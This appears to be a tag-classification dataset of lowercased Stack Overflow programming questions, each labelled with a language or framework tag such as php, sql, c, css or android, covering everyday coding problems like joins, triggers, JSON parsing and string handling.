date order 2 days ahead <pre><code>$datetime = new \datetime();   $listitem = array( &lt;li &gt;    &lt;/li&gt; ); $listitem_active = array( &lt;li class= active-day &gt;    &lt;/li&gt; );  $i = 0; while (true) {      if ($i === 5) break;      if ($datetime-&gt;format( n ) ===  7  &amp;&amp; $i === 0) {         $datetime-&gt;add(new \dateinterval( p1d ));         continue;             }      if($i===0){         $today = $datetime-&gt;format( d d-m );     }     if($i===3){         echo $listitem_active[0] . $today . $listitem_active[1];     }     if($i!=0){         echo $listitem[0] . $datetime-&gt;format( d d-m ) . $listitem[1];     }      $listitem = array( &lt;li&gt;    &lt;/li&gt; );          $datetime-&gt;add(new \dateinterval( p1d ));      $i++; } </code></pre>   i have the above code made and its almost right  but the output is not exactly how i want it. i get the following output:  <a href= https://i.stack.imgur.com/lpzkg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/lpzkg.png  alt= enter image description here ></a>    the current day should always be in the middle. as you can see this works. but the order of the days is not as i desire. the order i desire is this :     <a href= https://i.stack.imgur.com/jpqx1.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/jpqx1.png  alt= enter image description here ></a>,php
php reference versus value <pre><code>  class test {       private $arr;       function __construct() {           $this-&gt;arr = array( test );       }        function getarr() {           return $this-&gt;arr;       }   }   $a = new test();   $b = $a-&gt;getarr();   $b[0][0] =  a ;   $s = $a-&gt;getarr();    echo $s[0] </code></pre>   why does this echo test instead of aest  does php copy the array and the contents of the array when returning it  how do i get an array in which i can change the strings and have it reflected in the object,php
html pattern attribute for email validation  i need the email address of the user to match this format while registering.   <pre><code>name.name@gmail.com </code></pre>   he should not be able to enter @yahoo.com or @hotmail.com or anything else other than @gmail.com. also  he is only allowed to enter lower case letters and a period [.] if he wants. may i please know how to achieve this  this is what i have got so far.   <pre><code>pattern = [a-z.]+@gmail.com  </code></pre>,html
why are the default constructor and destructor of a class inline   i read from <a href= https://stackoverflow.com/a/6274011/2914210 >multiple</a> <a href= http://en.cppreference.com/w/cpp/language/default_constructor  rel= noreferrer >sources</a> that:   <blockquote>    if no user-declared constructors of any kind are provided for a class type (struct  class  or union)  the compiler will <strong>always</strong> declare a default constructor as an <strong>inline public member</strong> of its class.  </blockquote>   why was this decision made (to explicitly <em>declare</em> ctors/dtors as inline)  compilers are free to inline / non-inline this anyways  especially since inlining ctors may have a huge penalty on the clients of a class (effective c++  item #30),c++
sql join on 2 tables to get all columns  tablea contains   <pre><code>cola1    | cola2   | cola3 | colab -----------------------------------  a1          a2        a3      1  a11         a22       a33     1 </code></pre>   tableb contains   <pre><code> colb1    | colb2   | colb3 | colab  -----------------------------------  b1          b2        b3       1  b11         b22       b33      1 </code></pre>   i want result like this:   <pre><code>cola1    | cola2   | cola3 | colb1 | colb2 | colb3 | colab ----------------------------------------------------------   a1         a2        a3     b1      b2      b3       1   a11        a22       a33    b11     b22     b33      1 </code></pre>   how to get this     thanks,sql
objective c  a question about thread  i have a couple question..first of all  what is the best way to implement an inner class that shown in the java code below  (implementing a protocol like an interface in java)   <pre><code> public class membershipcontrol {       public membershipcontrol(){            //do something here...            sendmessage sendmsgthread = new sendmessagethread();            thread sendemsgthreadinst = new thread(sendmsgthread);            sendmsgthreadinst.start();       }        public class sendmessagethread implements runnable {       public void run() {            while (isactive) {                 //do something here            }       }  } </code></pre>   also  as you guys might noticed  the inner class this case will be run on a separate thread. so i have a java code like this inside of the constructor   <pre><code> sendmessage sendmsgthread = new sendmessagethread();  thread sendemsgthreadinst = new thread(sendmsgthread);  sendmsgthreadinst.start(); </code></pre>   i have used something like this in objective c to spawn a new thread..in the java code  the inner class has a while loop and it runs forever as long as isactive  boolean type variable  is true. can i just set up an while loop with a boolean type variable like shown in java code to run the loop forever as long as the boolean variable is true in objective c  am i supposed to use cfrunloop     <pre><code> [nsthread detachnewthreadselector:@selector(a method here:) totarget:self withobject: an object to be passed]; </code></pre>,objective-c
mysql str replace whitespace issue <pre><code>|      382 | ongoing     | |      383 | ongoing     | |      384 | ongoing     | |      385 | ongoing     | |      386 |  ongoing    | |      387 |  ongoing    | |      388 |  ongoing    | |      389 |  ongoing    | |      390 |  ongoing    | |      391 |  ongoing </code></pre>   above is my sql  somehow or somewhat i did some mistake when insert the value.    i wanna do a str replace to replace the empty  spaces     i did the following    update content set status = replace(status       );    it replace 19 rows  then i tried again  it replace 0 rows. but the empty spaces still exist.    how do i solve this by str_replace at mysql    <strong>thanks!</strong>,mysql
where the microsoft.office.tools.excel.dll is installed   i have installed vs2010 sp1 with .net 4.0 and cannot find where the microsoft.office.tools.excel.dll is located.    question> where i can find this dll,c#
how to access multiple json array   please check my code it is corret way to access json array  the array  worldpopulation  data will be shown but array   contacts  data willnot b shown  check my code m i correctly access           my full code is here i just add new arrayin my json file contacts  and acess it check my code please   <pre><code>               {       worldpopulation : [      {         rank :1       name :  angelina           url :  http://www.bounty4u.com/android/images/angie.jpg        }         {            rank :2        name :  ashton            url :  http://www.bounty4u.com/android/images/ashton.jpg      }        {          rank :3          name :  jackman          url :  http://www.bounty4u.com/android/images/hugh.jpg          }      ]              contacts : [                {      id :1       item :  calories         quantity :  150g    }    {          id :2        item :  calcium           quantity :  250g      }       {     id :3    item :  carbohydrates      quantity :  300g  }  ] }                                         try {                  httpclient client = new defaulthttpclient();              httpconnectionparams.setconnectiontimeout(client.getparams()  15000);                 httpconnectionparams.setsotimeout(client.getparams()          15000);                 httpurirequest request = new httpget(descriptionapi);                 httpresponse response = client.execute(request);                 inputstream atominputstream =       response.getentity().getcontent();                 bufferedreader in = new bufferedreader(new   inputstreamreader(atominputstream));                  string line;                 string str =   ;                 while ((line = in.readline()) != null){                     str += line;                 }                       jsonobject json = new jsonobject(str);                     jsonarray data =            json.getjsonarray( worldpopulation );                       for (int i = 0; i &lt; data.length(); i++) {                         jsonobject object = data.getjsonobject(i);                       //    jsonobject category =             object.getjsonobject( category );       category_id.add(long.parselong(object.getstring( rank )));                         category_name.add(object.getstring( name ));                         category_image.add(object.getstring( url ));                          log.d( category name   category_name.get(i));                         listview.setadapter(cla);                         }                    ////acess json array contacts/////////////////////                      jsonarray data2 = json.getjsonarray( contacts );                 final tablelayout table = (tablelayout)             findviewbyid(r.id.table2);                 for (int j = 0; j &lt; data2.length(); j++)                 {                     final view row = createrow(data2.getjsonobject(j));                     table.addview(row);                   }                   } catch (malformedurlexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             } catch (ioexception e) {                 // todo auto-generated catch block             //  ioconnect = 1;                 e.printstacktrace();             } catch (jsonexception e) {                 // todo auto-generated catch block                 e.printstacktrace();             }            }   public view createrow(jsonobject item) throws jsonexception {         view row = getlayoutinflater().inflate(r.layout.rows  null);         ((textview) row.findviewbyid(r.id.localtime)).settext(item                 .getstring( item ));         ((textview) row.findviewbyid(r.id.apprenttemp)).settext(item                 .getstring( quantity ));          return row;     } </code></pre>,android
mysql-trigger syntax error  i m trying to create a trigger on a table  but i keep getting an error. any idea what s wrong with the following statement    <pre><code>create trigger `some_name` before update on `some_table`      for each row begin          if new.isdeleted = 1 then             set new.issearchable = 0;          else then              set new.issearchable = 1;          end if;     end; </code></pre>   mysql output:   <blockquote>    #1064 - you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near    at line 4   </blockquote>,mysql
angularjs hide vertical scrollbar for mobile devices  i am developing an application using bootstrap and angular js.    i have a left side dynamic navigation bar containing more data.(customer numbers)    my requirement is  initially don t want to show the scroll bar for mobile devices. it should visible the scroll bar only when scrolling.    how do i achieve this functionality with angular    <pre><code>&lt;!-- sidebar --&gt;   &lt;div id= sidebar-wrapper &gt;       &lt;ul class= sidebar-nav &gt;           &lt;li class= sidebar-brand &gt;               &lt;a href&gt;                   customer view               &lt;/a&gt;           &lt;/li&gt;           &lt;li ng-repeat= customer in customerdata  ng-class= {activeblock: $index == selected} &gt;               &lt;a href data-toggle= tab &gt;{{customer.customernumber}}&lt;/a&gt;           &lt;/li&gt;                 &lt;/ul&gt;   &lt;/div&gt;   &lt;!-- /#sidebar-wrapper --&gt; </code></pre>,angularjs
php: if i allow users to add content into a double quoted variable  can this be manipulated into a vulnerability   this code is used inside a closed source cms:    if i have a php file set up like this   <pre><code>$var1 =   ; $var2 =   ; $var3 =   ; </code></pre>   and allow people to add their own content into the variables  can this be manipulated and turned into a vulnberability   the only way i will be using these variables is echoing out the variables contents and returning the variable in a function.    i just want to make sure that php code can t be entereed into the variables somehow and be processed.  i m not 100% aware of all php vulnerabilities  so figured i d ask on here.   <h2>edit</h2>   so to give a little more information: i am using this inside a closed source cms that i ve developed. i am giving textarea s for the users to type in their content for that particular variable. they type in their variables  and then it saves to a page via file_put_contents(). this page is a php page included in pages that use this  and basically prevents me from having to store all these variables inside a database. to use the variables  they type (in a template engine) {%var1%} and the variables is replaced with the string using a return from the template engine.,php
remove special characters from japanese language string using regular expression in c#  i have a string like this (string inputstring =  xyz s &amp;#123456   外部広告掲載費用 how are you   ). i want to remove the special characters from this string using regular expression in c#. i need output like this (xyzs 123456  外部広告掲載費用 how are you)  please let me know if it is possible.,.net
is there a problem with inheriting from threading.thread without actually starting the thread   i ve created a python class which inherits from <code>threading.thread</code>  instances of which may not actually be run as a new thread (because the <code>start()</code> method is never invoked). the code has been written such that it works whether start() has been invoked or not (just in a slightly different way). this is entirely intentional.    is there a problem or overhead with not ever invoking the start() method on an instance of the class  is there a better way to write a class that is sometimes run in a new thread and sometimes not     inheriting from thread insists on appending a thread-n to the repr() string on the class instance  even if it isn t running.,python
passing a string to a function in c++(object vs string)  what is the difference between the following two in c++    <pre><code>fun(l text1 ) </code></pre>   vs   <pre><code>std::wstring var =  text1  fun(var) </code></pre>   in the first case  it is being passed as an object while the second case passes it  as a wstring.     how should <code>fun()</code> be defined to handle both     edit: i have two function definitions    <pre><code>fun(void*) fun(std::wstring)  std::wstring t =  bla ; fun(t); fun(l msg ); </code></pre>   when fun(t) is called it goes to the definition of fun(std::wstring) but when fun(l msg ) is called it goes to fun(void*). instead i want it to goto fun(std::wstring),c++
extract any numbers before first occurrence of letter in string  i have street address strings (e.g.  123 lincoln st.  2453 park ave).    i d like to extract the street number for each string  i.e. any numeral characters that appear before letters in each address.,php
how to find duplicats and display in list/arraylist without using set/map implementation in java  is it possible  then how   give me with example to find duplicates and display in list/arraylist without using set/map implementation in java  is it possible  then how,java
how to apply the group by in this instance  i have a query which has this column as one of the columns  in the select list   <pre><code>isnull((select sum(bi.progress_bil + bi.hard_bil + bi.soft_bil + bi.fees_bil + bi.oafee_bil + bi.retainer_bil + bi.premdisc_bil - bi.credit_tot) from bo_live5.dbo.blt_billm bi where bi.matter_uno = m.matter_uno)  0) as billings_to_date </code></pre>   i want to know how to apply this in the group by    thanks,sql
"align text after linebreak with css  i have a php output that i m trying to align with css. the basic structure of the content is that i have 2 parent categories (text) and within these some sub categories (icons). i can t modify the php file  which is providing the output in one line. i m trying to get the parent categories just listed underneath each other  with the sub cats next to their paren cat.     i have done quite a bit of search on this in trying to solve it but understand the main solution are the elements content \a and white-space: pre. however  this doesnt work for some reason  the text gets misaligned (see attached screenshot 1); removing the \a and white-space attribute results in the format as per attached screenshot 2.    i m currently using the following code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.more_info {
     float: left !important;
 }
 
 [class*= parentcategory ] {
   clear: both !important;
 }
 
 .parentcategory1 {
   float: left;
   display: inline;
   clear:none !important;
   margin: 0;
   text-align: center;
   visibility: hidden;
 }
 .parentcategory1::before {
   content:  parent cat 1: ;
   visibility: visible;
 }
 
 .parentcategory2 {
   float: left;
   display: inline;
   clear:none !important;
   margin: 0;
   text-align: center;
   visibility: hidden;
 }
 .parentcategory2::before {
   content:  parent cat 2: ;
   visibility: visible;
 
 }
 .subcategory1a {
   float: left;
   display: inline;
   clear:none !important;
   margin: 0;
   width: 1.75vh;
   color: transparent;
 }
 
 .subcategory1b {
   float: left;
   display: inline;
   clear:none !important;
   margin: 0;
   width: 1.75vh;
   color: transparent;
 }
 .subcategory1c {
   float: left;
   display: inline;
   clear:none !important;
   margin: 0;
   width: 1.75vh;
   color: transparent;
 }
 
 .subcategory2a {
   float: left;
   display: inline;
   clear:none !important;
   margin: 0;
   width: 1.75vh;
   color: transparent;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= more_info   parentcategory1  style= clear:both; &gt;
 &lt;span class= checkbox  style=  &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory1a  style= clear:both; &gt;
 &lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2017/12/openinghours.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory1b  style= clear:both; &gt;
 &lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2018/01/kompass.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory1c  style= clear:both; &gt;
 &lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2017/12/membership-fee.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   parentcategory2  style= clear:both; &gt;
 &lt;span class= checkbox  style=  &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory2a  style= clear:both; &gt;&lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2017/12/openinghours.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     could anyone help with this     i would truly much appreciate it!    many thanks    <a href= https://i.stack.imgur.com/s0fbv.png  rel= nofollow noreferrer >enter image description here</a> <a href= https://i.stack.imgur.com/jxwmf.png  rel= nofollow noreferrer >enter image description here</a>    <strong>edit</strong> html output code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= more_info   parentcategory1  style= clear:both; &gt;
 &lt;span class= checkbox  style=  &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory1a  style= clear:both; &gt;
 &lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2017/12/openinghours.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory1b  style= clear:both; &gt;
 &lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2018/01/kompass.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory1c  style= clear:both; &gt;
 &lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2017/12/membership-fee.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   parentcategory2  style= clear:both; &gt;
 &lt;span class= checkbox  style=  &gt;&lt;/span&gt;yes
 &lt;/div&gt;
 
 &lt;div class= more_info   subcategory2a  style= clear:both; &gt;&lt;span class= checkbox  style=  background: url(http://localhost/mg/wp-content/uploads/2017/12/openinghours.png) no-repeat left center;background-size:18px 18px;padding-left: 21px; &gt;&lt;/span&gt;yes
 &lt;/div&gt;</code></pre>
 </div>
 </div>
     <strong>edit 2</strong> <a href= https://i.stack.imgur.com/eeikr.png  rel= nofollow noreferrer >enter image description here</a>    <strong>edit 3</strong> <a href= https://i.stack.imgur.com/topar.png  rel= nofollow noreferrer >enter image description here</a>",css
solve with sql: select all elements starting with x  i need to solve with sql:    <ul> <li>first select all the registers that starts with  4305  and then select the higher.</li> </ul>   in my code  i m trying to do something like this:   <pre><code>$rs = mysql_query( select *      from $tabla      where codigo=(select max(codigo) in (         select * from $tabla where codigo like  4309      ) ); </code></pre>   if i have:   <blockquote>    1 4305001  luis  barcelona / 2 4309001  pedro  madrid / 3 4309002  maria  barcelona /   4 4309003  rosa  madrid / 5 4309004  antonio  barcelona / 6 4309005  luis  barcelona /   7 4310001  jose  madrid  </blockquote>   i want to select: <em>6 4309005  luis  barcelona</em>,sql
getting error when i added a watermark in a video  i am creating an application which deals with the video which is exist in local directory of app.now i want to add a watermark in it. but it is showing an error : -   <blockquote>    {nslocalizeddescription=cannot decode  nslocalizedfailurereason=the   media data could not be decoded. it may be damaged.}  </blockquote>   please help me for getting this issue   <pre><code>-(void)displaywatermarkinvideo { nsstring *path = [[nsbundle mainbundle]pathforresource:@ video_20160102191557356_by_videoshow  oftype:@ mp4 ]; nsurl *url = [nsurl fileurlwithpath:path]; avurlasset *videoassets = [[avurlasset alloc]initwithurl:url options:nil]; avmutablecomposition* mixcomposition = [avmutablecomposition composition];  avmutablecompositiontrack *compositionvideotrack = [mixcomposition addmutabletrackwithmediatype:avmediatypevideo  preferredtrackid:kcmpersistenttrackid_invalid]; avassettrack *clipvideotrack = [[videoassets trackswithmediatype:avmediatypevideo] objectatindex:0]; [compositionvideotrack inserttimerange:cmtimerangemake(kcmtimezero  videoassets.duration)                                oftrack:clipvideotrack                                 attime:kcmtimezero error:nil];  [compositionvideotrack setpreferredtransform:[[[videoassets trackswithmediatype:avmediatypevideo] objectatindex:0] preferredtransform]]; //add image uiimage *myimage = [uiimage imagenamed:@ frame-1.png ]; calayer *alayer = [calayer layer]; alayer.contents = (id)myimage.cgimage; alayer.frame = cgrectmake(5  25  57  57); //needed for proper display. we are using the app icon (57x57). if you use 0 0 you will not see it alayer.opacity = 0.65; //feel free to alter the alpha here //add text instead of image cgsize videosize = [videoassets naturalsize]; catextlayer *titlelayer = [catextlayer layer]; titlelayer.string = @ text goes here ; titlelayer.font = cfbridgingretain(@ helvetica ); titlelayer.fontsize = videosize.height / 6; //   titlelayer.shadowopacity = 0.5; titlelayer.alignmentmode = kcaalignmentcenter; titlelayer.bounds = cgrectmake(0  0  videosize.width  videosize.height / 6); //you may need to adjust this for proper display //sorts the layer in proper order calayer *parentlayer = [calayer layer]; calayer *videolayer = [calayer layer]; parentlayer.frame = cgrectmake(0  0  videosize.width  videosize.height); videolayer.frame = cgrectmake(0  0  videosize.width  videosize.height); [parentlayer addsublayer:videolayer]; [parentlayer addsublayer:alayer]; [parentlayer addsublayer:titlelayer]; //only if we added text //create composition avmutablevideocomposition* videocomp = [avmutablevideocomposition videocomposition]; videocomp.rendersize = videosize; videocomp.frameduration = cmtimemake(1  30); videocomp.animationtool = [avvideocompositioncoreanimationtool      videocompositioncoreanimationtoolwithpostprocessingasvideolayer:videolayer inlayer:parentlayer]; //create instruction   avmutablevideocompositioninstruction *instruction = [avmutablevideocompositioninstruction videocompositioninstruction]; instruction.timerange = cmtimerangemake(kcmtimezero  [mixcomposition duration]);  avassettrack *videotrack = [[mixcomposition trackswithmediatype:avmediatypevideo] objectatindex:0]; avmutablevideocompositionlayerinstruction* layerinstruction = [avmutablevideocompositionlayerinstruction videocompositionlayerinstructionwithassettrack:videotrack]; instruction.layerinstructions = [nsarray arraywithobject:layerinstruction]; videocomp.instructions = [nsarray arraywithobject: instruction]; //export  nsstring *documentsdirectory = [nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes)objectatindex:0]; nsdateformatter *dateformatter = [[nsdateformatter alloc] init]; [dateformatter setdateformat:@ yyyy-mm-dd_hh-mm-ss ]; nsstring *destinationpath = [documentsdirectory stringbyappendingformat:@ /utput_%@.mov   [dateformatter stringfromdate:[nsdate date]]];  avassetexportsession *exportsession = [[avassetexportsession alloc] initwithasset:mixcomposition presetname:avassetexportpresetmediumquality]; exportsession.videocomposition=videocomp;  exportsession.outputurl = [nsurl fileurlwithpath:destinationpath]; exportsession.outputfiletype = avfiletypequicktimemovie; [exportsession exportasynchronouslywithcompletionhandler:^{     switch (exportsession.status)     {         case avassetexportsessionstatuscompleted:             nslog(@ export ok );             if (uivideoatpathiscompatiblewithsavedphotosalbum(destinationpath)) {                 uisavevideoatpathtosavedphotosalbum(destinationpath  self  @selector(video:didfinishsavingwitherror:contextinfo:)  nil);             }             break;         case avassetexportsessionstatusfailed:             nslog (@ avassetexportsessionstatusfailed: %@   exportsession.error);             break;         case avassetexportsessionstatuscancelled:             nslog(@ export cancelled );             break;     } }]; } </code></pre>,ios
to hide the addressbar standardbar in asp.net from codebehind  in my application am loading my firstpage from startpage in codebehind by response.redirect and here i need to hide the addressbar and standardbar of that firstpage while loading .can anyone help for this.note:the firstpage is masterpage content.,asp.net
how can i save password in bcrypt   i install <code>bcrypt</code> and <code>bcrypt-ruby</code> gems and try:   <pre><code>class user &lt; activerecord::base     before_save :encrypt      def encrypt         password = bcrypt::password.create(:password)      end end  def create     @user = user.new(user_params)     if @user.save         redirect_to  http://bookworm.az:3000      end end </code></pre>   but it doesn t save in bcrypt. i seem  i do something wrong. in the github community writes: add require  bcrypt  on the top of user model  before the  class user &lt; activerecord::base but in this case my app save in db <code>bcrypt</code> for all fields.    can anyone help me,ruby-on-rails
angled bottom edge  i have a full-width div element with a background image. using a css pseudo-element <code>:after</code> i have  created a white box with a 7 degree rotation which sits at the bottom  creating the angled edge.   <pre><code>.banner {    background: red;    height: 900px;    position: relative; }  .banner:after {     background: #fff;     bottom: -160px;     content:    ;     height: 320px;     left: -5%;     position: absolute;     transform: rotate(-7deg);     width: 110%;     z-index: 2; } </code></pre>   at the moment  the calculation is just done with trial an error  but i would like to know if and how to calculate this exactly using the <a href= https://css-tricks.com/fun-viewport-units/  rel= nofollow noreferrer >screen width</a>  <a href= https://developer.mozilla.org/en-us/docs/web/css/calc  rel= nofollow noreferrer >calc</a> and whatever other maths.    on smaller screens  the height of the <code>:after</code> element doesn t need to be as large  so i assume this value also needs to be dynamic.    update: i have experimented with <code>clip-path</code> but this seems to give a slightly jagged edge.   <pre><code>.banner {    clip-path: polygon(0 0  100% 0  100% 80%  0 100%); } </code></pre>,css
shifting buffer via memcpy  i wrote following 2 ltrim functions (function which removes white-spaces from left side of the string):    <strong>1</strong>. (putting here this code to not get such code as an answer)   <pre><code>void ltrim(char * str  int size) {     char const *start = str;     char const *end = start + size;     for(;*start &amp;&amp; (*start==    || *start== \n  || *start== \r  || *start== \t );++start);      while(start != end)     {         *str = *start;         ++start;         ++str;     }     *str= \0 ; } </code></pre>   <strong>2</strong>.   <pre><code>void ltrim(char * str  int size) {     char const *start = str;     char const *end = start + size;     for(;*start &amp;&amp; (*start==    || *start== \n  || *start== \r  || *start== \t );++start);     memcpy(str  start  end-start);     *(str + (end - start)) =  \0 ; } </code></pre>   does second version safe     p.s. i have tried and it works  but not sure that memcpy is safe in this case.,c
openpose library - setup issue  <strong>i could not configure the openpose project correctly with python. can someone mention the steps to setup the project of <a href= https://github.com/cmu-perceptual-computing-lab/openpose  rel= nofollow noreferrer >https://github.com/cmu-perceptual-computing-lab/openpose</a> .</strong> (i have to get the facial key points and body key points),python
angular http url call returns -1 as status <pre><code>angular.module( app )         .controller( main   function ($scope  $http)         {                                    $http({                 method:  get                   url:  http://localhost:62355/product/getproductlist/3              })             .then(function successcallback(response)             {                 alert( hi );             }  function errorcallback(response)             {                 alert(response.status); // display -1             });         }); </code></pre>   when i use above code to call url in angularjs response object status : -1 statustext =  . same url works perfect in browser.,angularjs
what s the use of < =  > tags in php   in some php scripts (actually it s the first time i ve met this  in yii2 code)  the <code>&lt; =  &gt;</code> tags are used. i m not sure how these work  because their behavior is quite mysterious:   <pre><code>&lt; = $a = 10; echo $a .  \n ; </code></pre>   this outputs  surprisingly  <code>1010</code>  and not <code>10</code>. i m surprised that such special behavior finds no mention in the php manual also (or maybe i didn t look hard enough).,php
android - set layout label programatically  do you know how to programatically set label in linearlayout defined in xml     thanks,android
conditional link library when switch build from simulator to device  i have an iphone application using the third party library from my customer. they provide me two static library one for simulator and one for device. how can i change setting to allow me set to project setting to build against right library when project change configuration  can i use --framework flag  if it is  how i can do that,iphone
error while making store procedure <pre><code>            int spparam = 0;             sqlcommand cmd = new sqlcommand();             cmd.connection = con;             cmd.commandtype = commandtype.storedprocedure;             cmd.commandtext =  sp_selectcountry ;             cmd.parameters.addwithvalue( @country_id @country_name  spparam);             con.open();             cmd.executenonquery();             da = new sqldataadapter(cmd);             da.fill(dtcountry);             con.close(); </code></pre>   showing error .. liking while sp_selectcountry hav no paramerter like dat .. pls help guys ..,.net
previous declaration of  function  was here in c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8763052/learning-c-by-kr-error-when-trying-to-compile-programs-from-book-with-arrays-a >learning c by k&amp;r  error when trying to compile programs from book with arrays and function calls</a>    </blockquote>     while learning the c programming language by brian w. kernighan and dennis m. ritchie  i tried the example in section 1.9 character arrays. here are the codes:   <pre><code>/* read a set of text lines and print the longest */  #include &lt;stdio.h&gt; #define maxline 1000 /* maximum input line length */  /* declare functions: getline() and copy() */ int getline(char line[]  int maxline);  void copy(char to[]  char from[]);  /* getline: read a line into array  s   return length */  int getline(char s[]  int lim) {     int c  i;     for (i=0; i &lt; lim-1 &amp;&amp; (c=getchar())!=eof &amp;&amp; c!= \n ; ++i)         s[i] = c;     if (c ==  \n ){         s[i] = c;         ++i;     }     s[i] =  \0 ;  /* the null character whose value is 0 */     return i; }  /* copy: copy  from  into  to ; assume to is big enough */  /* the return type of copy is  void  -- no value is returned */ void copy(char to[]  char from[]) {     int i;     i = 0;     while ((to[i] = from[i]) !=  \0 )  /* terminated with a \0 */         ++i;  }  /* print the longest input line */ int main() {     int len;  /* current line length */      int max;  /* maximum length seen so far */     char line[maxline];  /* current input line */     char longest[maxline];  /* longest line saved here */      max = 0;     while ((len = getline(line  maxline)) &gt; 0)     if (len &gt; max) {          max = len;         copy(longest  line);      }     if (max&gt;0) /* there was a line */          printf( %s   longest);     return 0;  } </code></pre>   there are two main errors:   <ol> <li>error: conflicting types for ‘getline’</li> <li>error: previous declaration of ‘getline’ was here</li> </ol>   the complete error list is here:   <pre><code>/users/c/codes/ritchie/array_char.c:8: error: conflicting types for ‘getline’ /usr/include/stdio.h:449: error: previous declaration of ‘getline’ was here /users/c/codes/ritchie/array_char.c:13: error: conflicting types for ‘getline’ /usr/include/stdio.h:449: error: previous declaration of ‘getline’ was here /users/c/codes/ritchie/array_char.c: in function ‘getline’: /users//c/codes/ritchie/array_char.c:17: warning: comparison between pointer and integer /users/c/codes/ritchie/array_char.c:17: warning: comparison with string literal results in unspecified behavior </code></pre>   i am not sure what went wrong  since it is exactly the same code from the book. maybe the declaration of functions at the beginning:   <pre><code>int getline(char line[]  int maxline);  void copy(char to[]  char from[]); </code></pre>   is problematic  thank you!,c
how could i improve my code  could i have some tips on how to improve my code     this is the code i would like to improve   <pre><code>timetable =(input( please enter a number:  )   if timetable ==( 11 )     print(( please enter a number less than 10 / equal to 10 ))        for t in range(0  16):         print(str(t)+  timetable  =str(t)+  is  +str(t*t) </code></pre>,python
add to my solution folder with exe file that i want to run  i added to my application folder with exe file that i want to run from my application but i think i did not run the exe file properly. for example my folder name is folder and the exe file is run.exe so i try <code>@ \folder\run.exe </code> but the system cannot find the file specified. what is the correct way to do it     <pre><code>public void run(string filepath  int devicenumber) {     processstartinfo processstartinfo = new processstartinfo(@ \folder\run.exe );     processstartinfo.arguments = string.format( {0} {2}{1}{2}   (devicenumber).tostring()  filepath   \  );     processstartinfo.windowstyle = processwindowstyle.hidden;     processstartinfo.redirectstandardoutput = true;     processstartinfo.redirectstandarderror = true;     processstartinfo.createnowindow = true;     processstartinfo.useshellexecute = false;     processstartinfo.errordialog = false;      using (process process = process.start(processstartinfo))     {         process.waitforexit();     } } </code></pre>   issue solved:   <pre><code>the way to do it is processstartinfo processstartinfo = new processstartinfo(system.windows.forms.application.startuppath + myexepath); </code></pre>,c#
if statement with char is not working in c  for the most part everything is working and it s able to build error free. however when i try to run it  it seems to crash. to be more specific  whenever i start my code and press  a  or  b   the program keeps crashing. can someone tell me how to fix that    <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int top=-1; int word;   char stack_string[100]; void push(char word); char pop(void); int main() {     char input;     char str[100];     int i;     printf( press [a] for palindrome check  [b] for string reversal: );     scanf( %s   input);      if (input ==  b ){         printf( input a string:  );         scanf( %[^\n]s   str);         for(i=0;i&lt;strlen(str);i++)             push(str[i]);         for(i=0;i&lt;strlen(str);i++)             str[i]=pop();         printf( reversed string is: %s\n  str);     }     else if(input ==  a ){         char str[100];         int count = 0;         printf( input a string:  );         scanf( %[^\n]s   str);          for (i = 0; i &lt; strlen(str); i++)         {             push(str[i]);         }          for (i = 0; i &lt; strlen(str); i++)         {             if (str[i]==pop())             count++;         }          if (count == strlen(str))             printf( %s is a palindrome\n   str);         else             printf( %s is not a palindrome\n   str);      }      return 0; }  void push(char word) {     top=top+1;     stack_string[top]=word; }   char pop() {     word = stack_string[top];     top=top-1;     return word; } </code></pre>,c
